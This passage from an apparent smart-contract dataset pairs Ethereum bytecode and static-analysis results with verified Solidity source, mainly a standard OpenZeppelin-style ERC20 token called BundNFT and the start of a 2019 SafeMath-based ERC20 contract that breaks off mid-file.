01f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016929092016040019392505050565b60208082526027908201527f474e42553a3a6765745072696f72566f7465733a206e6f74207965742064657460408201527f65726d696e656400000000000000000000000000000000000000000000000000606082015260800190565b6020808252818101527f4f776e61626c653a2043616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252601a908201527f474e42553a3a7065726d69743a20756e617574686f72697a6564000000000000604082015260600190565b60208082526016908201527f474e42553a3a766573743a206e6f742076657374657200000000000000000000604082015260600190565b6020808252602f908201527f474e42553a3a757064617465537570706f7274556e69744164643a207375707060408201527f6f727420756e6974206578697374730000000000000000000000000000000000606082015260800190565b6020808252603a908201527f474e42553a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747260408201527f616e7366657220746f20746865207a65726f2061646472657373000000000000606082015260800190565b6020808252603c908201527f474e42553a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747260408201527f616e736665722066726f6d20746865207a65726f206164647265737300000000606082015260800190565b60208082526026908201527f474e42553a3a64656c656761746542795369673a207369676e6174757265206560408201527f7870697265640000000000000000000000000000000000000000000000000000606082015260800190565b6020808252601f908201527f474e42553a3a7065726d69743a20696e76616c6964207369676e617475726500604082015260600190565b6020808252601d908201527f474e42553a3a756e766573743a4e6f2076657374656420616d6f756e74000000604082015260600190565b60208082526023908201527f474e42553a6d756c39363a206d756c7469706c69636174696f6e206f7665726660408201527f6c6f770000000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526022908201527f474e42553a3a64656c656761746542795369673a20696e76616c6964206e6f6e60408201527f6365000000000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526026908201527f474e42553a3a64656c656761746542795369673a20696e76616c69642073696760408201527f6e61747572650000000000000000000000000000000000000000000000000000606082015260800190565b6020808252601f908201527f474e42553a3a7065726d69743a207369676e6174757265206578706972656400604082015260600190565b9283526020830191909152604082015260600190565b63ffffffff91909116815260200190565b63ffffffff9290921682526bffffffffffffffffffffffff16602082015260400190565b60ff91909116815260200190565b6bffffffffffffffffffffffff91909116815260200190565b6bffffffffffffffffffffffff92831681529116602082015260400190565b60405181810167ffffffffffffffff81118282101715614d1d57614d1d614f77565b604052919050565b600067ffffffffffffffff821115614d3f57614d3f614f77565b5060209081020190565b60008219821115614d5c57614d5c614f19565b500190565b600063ffffffff808316818516808303821115614d8057614d80614f19565b01949350505050565b60006bffffffffffffffffffffffff808316818516808303821115614d8057614d80614f19565b600063ffffffff80841680614dc757614dc7614f48565b92169190910492915050565b60006bffffffffffffffffffffffff80841680614dc757614dc7614f48565b60006bffffffffffffffffffffffff80831681851681830481118215151615614e1d57614e1d614f19565b02949350505050565b600082821015614e3857614e38614f19565b500390565b600063ffffffff83811690831681811015614e5a57614e5a614f19565b039392505050565b60006bffffffffffffffffffffffff83811690831681811015614e5a57614e5a614f19565b600081614e9657614e96614f19565b507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0190565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415614eee57614eee614f19565b5060010190565b600063ffffffff80831681811415614f0f57614f0f614f19565b6001019392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b8015158114610bcf57600080fdfe474e42553a3a756e766573743a20616c726561647920756e76657374656420616d6f756e74206578636565647320746f556e76657374474e42553a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e6365474e42553a3a6672656543697263756c6174696f6e3a20616d6f756e742065786365656420746f74616c537570706c79474e42553a3a6d756c7469766573743a20616d6f756e7420657863656564732039362062697473474e42553a3a5f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f7773474e42553a3a7065726d69743a20616d6f756e7420657863656564732039362062697473474e42553a3a62616c616e63654f663a20756e766573746564206578636565642076657374656420616d6f756e74474e42553a3a6275726e546f6b656e733a20616d6f756e7420657863656564732039362062697473474e42553a3a7472616e736665723a20616d6f756e7420657863656564732039362062697473474e42553a3a5f766573743a2065786365656473206f776e65722062616c616e6365474e42553a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d62657220657863656564732033322062697473474e42553a3a6275726e546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e6365474e42553a3a617070726f76653a20616d6f756e7420657863656564732039362062697473474e42553a3a6672656543697263756c6174696f6e3a20616464696e67206f766572666c6f77474e42553a3a6d756c7469766573743a207472616e7366657220616d6f756e7420657863656564732062616c616e6365474e42553a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f7773474e42553a3a6275726e546f6b656e733a207472616e7366657220616d6f756e74206578636565647320746f74616c20737570706c79474e42553a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e6365474e42553a6d756c39363a20616d6f756e7420657863656564732075696e743936474e42553a3a5f6d6f7665566f7465733a20766f746520616d6f756e74206f766572666c6f7773474e42553a3a766573743a20616d6f756e7420657863656564732039362062697473a26469706673582212200411e264d09cf94b2e62a762b827fd9c08eb09587de5a825361b0709c19f376664736f6c63430008000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 3,311 |
0x92B3367515a7D2dF838c2ccD9F5e1Fc07D977C20
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overloaded;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
contract BundNFT is ERC20 {
constructor () ERC20("BUNDNFT Tokens", "BUNDNFT") {
_mint(msg.sender, 100000 * (10 ** uint256(decimals())));
}
function burn(uint256 amount) public virtual returns (bool) {
_burn(_msgSender(), amount);
return true;
}
}
|
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806342966c681161007157806342966c68146101a357806370a08231146101d357806395d89b4114610203578063a457c2d714610221578063a9059cbb14610251578063dd62ed3e14610281576100b4565b806306fdde03146100b9578063095ea7b3146100d757806318160ddd1461010757806323b872dd14610125578063313ce567146101555780633950935114610173575b600080fd5b6100c16102b1565b6040516100ce91906110da565b60405180910390f35b6100f160048036038101906100ec9190610eb9565b610343565b6040516100fe91906110bf565b60405180910390f35b61010f610361565b60405161011c919061121c565b60405180910390f35b61013f600480360381019061013a9190610e6a565b61036b565b60405161014c91906110bf565b60405180910390f35b61015d61046c565b60405161016a9190611237565b60405180910390f35b61018d60048036038101906101889190610eb9565b610475565b60405161019a91906110bf565b60405180910390f35b6101bd60048036038101906101b89190610ef5565b610521565b6040516101ca91906110bf565b60405180910390f35b6101ed60048036038101906101e89190610e05565b61053d565b6040516101fa919061121c565b60405180910390f35b61020b610585565b60405161021891906110da565b60405180910390f35b61023b60048036038101906102369190610eb9565b610617565b60405161024891906110bf565b60405180910390f35b61026b60048036038101906102669190610eb9565b61070b565b60405161027891906110bf565b60405180910390f35b61029b60048036038101906102969190610e2e565b610729565b6040516102a8919061121c565b60405180910390f35b6060600380546102c090611380565b80601f01602080910402602001604051908101604052809291908181526020018280546102ec90611380565b80156103395780601f1061030e57610100808354040283529160200191610339565b820191906000526020600020905b81548152906001019060200180831161031c57829003601f168201915b5050505050905090565b60006103576103506107b0565b84846107b8565b6001905092915050565b6000600254905090565b6000610378848484610983565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006103c36107b0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610443576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161043a9061117c565b60405180910390fd5b6104608561044f6107b0565b858461045b91906112c4565b6107b8565b60019150509392505050565b60006012905090565b60006105176104826107b0565b8484600160006104906107b0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610512919061126e565b6107b8565b6001905092915050565b600061053461052e6107b0565b83610c02565b60019050919050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606004805461059490611380565b80601f01602080910402602001604051908101604052809291908181526020018280546105c090611380565b801561060d5780601f106105e25761010080835404028352916020019161060d565b820191906000526020600020905b8154815290600101906020018083116105f057829003601f168201915b5050505050905090565b600080600160006106266107b0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156106e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106da906111fc565b60405180910390fd5b6107006106ee6107b0565b8585846106fb91906112c4565b6107b8565b600191505092915050565b600061071f6107186107b0565b8484610983565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610828576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081f906111dc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610898576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161088f9061113c565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610976919061121c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ea906111bc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5a906110fc565b60405180910390fd5b610a6e838383610dd6565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610af4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aeb9061115c565b60405180910390fd5b8181610b0091906112c4565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b90919061126e565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610bf4919061121c565b60405180910390a350505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c699061119c565b60405180910390fd5b610c7e82600083610dd6565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610d04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cfb9061111c565b60405180910390fd5b8181610d1091906112c4565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508160026000828254610d6491906112c4565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610dc9919061121c565b60405180910390a3505050565b505050565b600081359050610dea816116e8565b92915050565b600081359050610dff816116ff565b92915050565b600060208284031215610e1757600080fd5b6000610e2584828501610ddb565b91505092915050565b60008060408385031215610e4157600080fd5b6000610e4f85828601610ddb565b9250506020610e6085828601610ddb565b9150509250929050565b600080600060608486031215610e7f57600080fd5b6000610e8d86828701610ddb565b9350506020610e9e86828701610ddb565b9250506040610eaf86828701610df0565b9150509250925092565b60008060408385031215610ecc57600080fd5b6000610eda85828601610ddb565b9250506020610eeb85828601610df0565b9150509250929050565b600060208284031215610f0757600080fd5b6000610f1584828501610df0565b91505092915050565b610f278161130a565b82525050565b6000610f3882611252565b610f42818561125d565b9350610f5281856020860161134d565b610f5b81611410565b840191505092915050565b6000610f7360238361125d565b9150610f7e82611421565b604082019050919050565b6000610f9660228361125d565b9150610fa182611470565b604082019050919050565b6000610fb960228361125d565b9150610fc4826114bf565b604082019050919050565b6000610fdc60268361125d565b9150610fe78261150e565b604082019050919050565b6000610fff60288361125d565b915061100a8261155d565b604082019050919050565b600061102260218361125d565b915061102d826115ac565b604082019050919050565b600061104560258361125d565b9150611050826115fb565b604082019050919050565b600061106860248361125d565b91506110738261164a565b604082019050919050565b600061108b60258361125d565b915061109682611699565b604082019050919050565b6110aa81611336565b82525050565b6110b981611340565b82525050565b60006020820190506110d46000830184610f1e565b92915050565b600060208201905081810360008301526110f48184610f2d565b905092915050565b6000602082019050818103600083015261111581610f66565b9050919050565b6000602082019050818103600083015261113581610f89565b9050919050565b6000602082019050818103600083015261115581610fac565b9050919050565b6000602082019050818103600083015261117581610fcf565b9050919050565b6000602082019050818103600083015261119581610ff2565b9050919050565b600060208201905081810360008301526111b581611015565b9050919050565b600060208201905081810360008301526111d581611038565b9050919050565b600060208201905081810360008301526111f58161105b565b9050919050565b600060208201905081810360008301526112158161107e565b9050919050565b600060208201905061123160008301846110a1565b92915050565b600060208201905061124c60008301846110b0565b92915050565b600081519050919050565b600082825260208201905092915050565b600061127982611336565b915061128483611336565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156112b9576112b86113b2565b5b828201905092915050565b60006112cf82611336565b91506112da83611336565b9250828210156112ed576112ec6113b2565b5b828203905092915050565b600061130382611316565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561136b578082015181840152602081019050611350565b8381111561137a576000848401525b50505050565b6000600282049050600182168061139857607f821691505b602082108114156113ac576113ab6113e1565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6116f1816112f8565b81146116fc57600080fd5b50565b61170881611336565b811461171357600080fd5b5056fea26469706673582212205316aef65a752d5c4b88b345e82dd71e7e9627f1ef13e3a7cbfed5e803d89e8864736f6c63430008010033
|
{"success": true, "error": null, "results": {}}
| 3,312 |
0x866f6afc6f56aaeda65919ca090d509f6e9d2a01
|
/**
*Submitted for verification at Etherscan.io on 2019-04-10
*/
pragma solidity ^0.4.24;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
int256 constant private INT256_MIN = -2**255;
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Multiplies two signed integers, reverts on overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
require(!(a == -1 && b == INT256_MIN)); // This is the only case of overflow not detected by the check below
int256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Integer division of two signed integers truncating the quotient, reverts on division by zero.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
require(b != 0); // Solidity only automatically asserts when dividing by 0
require(!(b == -1 && a == INT256_MIN)); // This is the only case of overflow
int256 c = a / b;
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Subtracts two signed integers, reverts on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Adds two signed integers, reverts on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
